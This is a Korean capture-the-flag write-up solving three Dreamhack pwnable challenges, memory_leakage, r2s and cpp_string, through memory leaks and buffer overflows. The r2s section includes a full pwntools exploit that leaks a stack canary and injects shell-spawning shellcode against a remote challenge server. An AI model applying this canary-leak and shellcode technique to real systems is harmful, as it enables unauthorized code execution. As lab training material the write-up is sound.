파일을 다운받았더니 memory_leakage 파일과 memory_leakage.c 파일 2개가 있었다.
memory_leakage를 실행했다.
flag는 안 나온다.
더 알아보기 위해 memory_leakage.c 파일을 열었다.
코드를 간단하게 해석해보면 swtich문에서 flag를 구할 수 있게 되어 있다.
먼저 case 1에서는 my_page.name에서 주어진 값인 16바이트까지 입력값을 입력하고 my_page.age에 정수값을 입력한다.
case 2에서는 입력했던 변수를 null바이트까지 출력한다.
case 3에서는 flag값을 flag_buf에 저장한다.
null 바이트가 없을 경우 flag까지 출력이 가능하여 flag를 얻을 수 있다.
접속정보에서 준 주소로 접속해서 name에는 a * 16, age는 int형의 최대범위로 입력해서 case 1에 저장시키고, case 3을 실행시킨 후에 case 2로 출력시키면 flag 값까지 출력되는 것을 확인할 수 있다.
문제 파일을 봤더니 r2s 파일과 r2s.c 파일 두 개가 있었다.
r2s.c를 실행시켰다.
코드를 간단하게 해석하면 프로그램이 실행되었을 때 buf의 주소와 buf와 rbp 사이의 거리를 알려준다. 또한 buf에 두 번 입력값을 받는다.
문제를 풀기 위하여 오버플로우를 발생시켜 출력할 때 canary도 leak 되도록 한다.
이를 해결하기 위한 파이썬 코드를 짜는데, 이는 구글링으로 도움을 받았다.
코드는 다음과 같다.
from pwn import *
def slog(n, m): return success(": ".join([n, hex(m)]))
p = process("./r2s")
p = remote('host2.dreamhack.games',15503)
context.arch = "amd64"
# [1] Get information about buf
p.recvuntil("buf: ") # "buf: "까지 읽어들이기
buf = int(p.recvline()[:-1], 16) #개행 앞까지 읽어들이기
slog("Address of buf", buf)
p.recvuntil("$rbp: ") # "$rbp: "까지 읽어들이기
buf2sfp = int(p.recvline().split()[0]) # 공백을 기준으로 리스트를 구성하고 그 중 0번째 인덱스 값을 가져옴
buf2cnry = buf2sfp - 8
slog("buf <=> sfp", buf2sfp)
slog("buf <=> canary", buf2cnry)
# [2] Leak canary value
payload = b"A"*(buf2cnry + 1) # (+1) because of the first null-byte
p.sendafter("Input:", payload)
p.recvuntil(payload)
cnry = u64(b"\x00"+p.recvn(7))
slog("Canary", cnry)
#[3] exploit
shellcode = asm(shellcraft.sh())
payload = shellcode+b"A"*(buf2cnry-len(shellcode))+p64(cnry)+b"B"*0x8+p64(buf)
p.sendline(payload)
p.interactive()
이를 실행하였다.
flag를 확인할 수 있다.
문제 파일을 다운받으니 cpp_string 파일과 cpp_string.cpp 파일 2가지가 있었다.
cpp_string 파일을 실행했다.
cpp_string.cpp 파일을 열어보았다.
코드는 다음과 같다.
//g++ -o cpp_string cpp_string.cpp
#include <iostream>
#include <fstream>
#include <csignal>
#include <unistd.h>
#include <stdlib.h>
char readbuffer[64] = {0, };
char flag[64] = {0, };
std::string writebuffer;
void alarm_handler(int trash)
{
std::cout << "TIME OUT" << std::endl;
exit(-1);
}
void initialize()
{
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
int read_file(){
std::ifstream is ("test", std::ifstream::binary);
if(is.is_open()){
is.read(readbuffer, sizeof(readbuffer));
is.close();
std::cout << "Read complete!" << std::endl;
return 0;
}
else{
std::cout << "No testfile...exiting.." << std::endl;
exit(0);
}
}
int write_file(){
std::ofstream of ("test", std::ifstream::binary);
if(of.is_open()){
std::cout << "Enter file contents : ";
std::cin >> writebuffer;
of.write(writebuffer.c_str(), sizeof(readbuffer));
of.close();
std::cout << "Write complete!" << std::endl;
return 0;
}
else{
std::cout << "Open error!" << std::endl;
exit(0);
}
}
int read_flag(){
std::ifstream is ("flag", std::ifstream::binary);
if(is.is_open()){
is.read(flag, sizeof(readbuffer));
is.close();
return 0;
}
else{
std::cout << "You must need flagfile.." << std::endl;
exit(0);
}
}
int show_contents(){
std::cout << "contents : ";
std::cout << readbuffer << std::endl;
return 0;
}
int main(void) {
initialize();
int selector = 0;
while(1){
std::cout << "Simple file system" << std::endl;
std::cout << "1. read file" << std::endl;
std::cout << "2. write file" << std::endl;
std::cout << "3. show contents" << std::endl;
std::cout << "4. quit" << std::endl;
std::cout << "[*] input : ";
std::cin >> selector;
switch(selector){
case 1:
read_flag();
read_file();
break;
case 2:
write_file();
break;
case 3:
show_contents();
break;
case 4:
std::cout << "BYEBYE" << std::endl;
exit(0);
}
}
}
flag를 획득하기 위해 2를 입력해서 write_file함수를 실행하고, read buffer에 모든 문자를 채워준다. 다음으로 1번을 입력하고, read 함수가 실행되면 3번을 입력해서 show_content 함수에서 출력값으로 flag를 획득할 수 있다.
flag를 확인할 수 있다.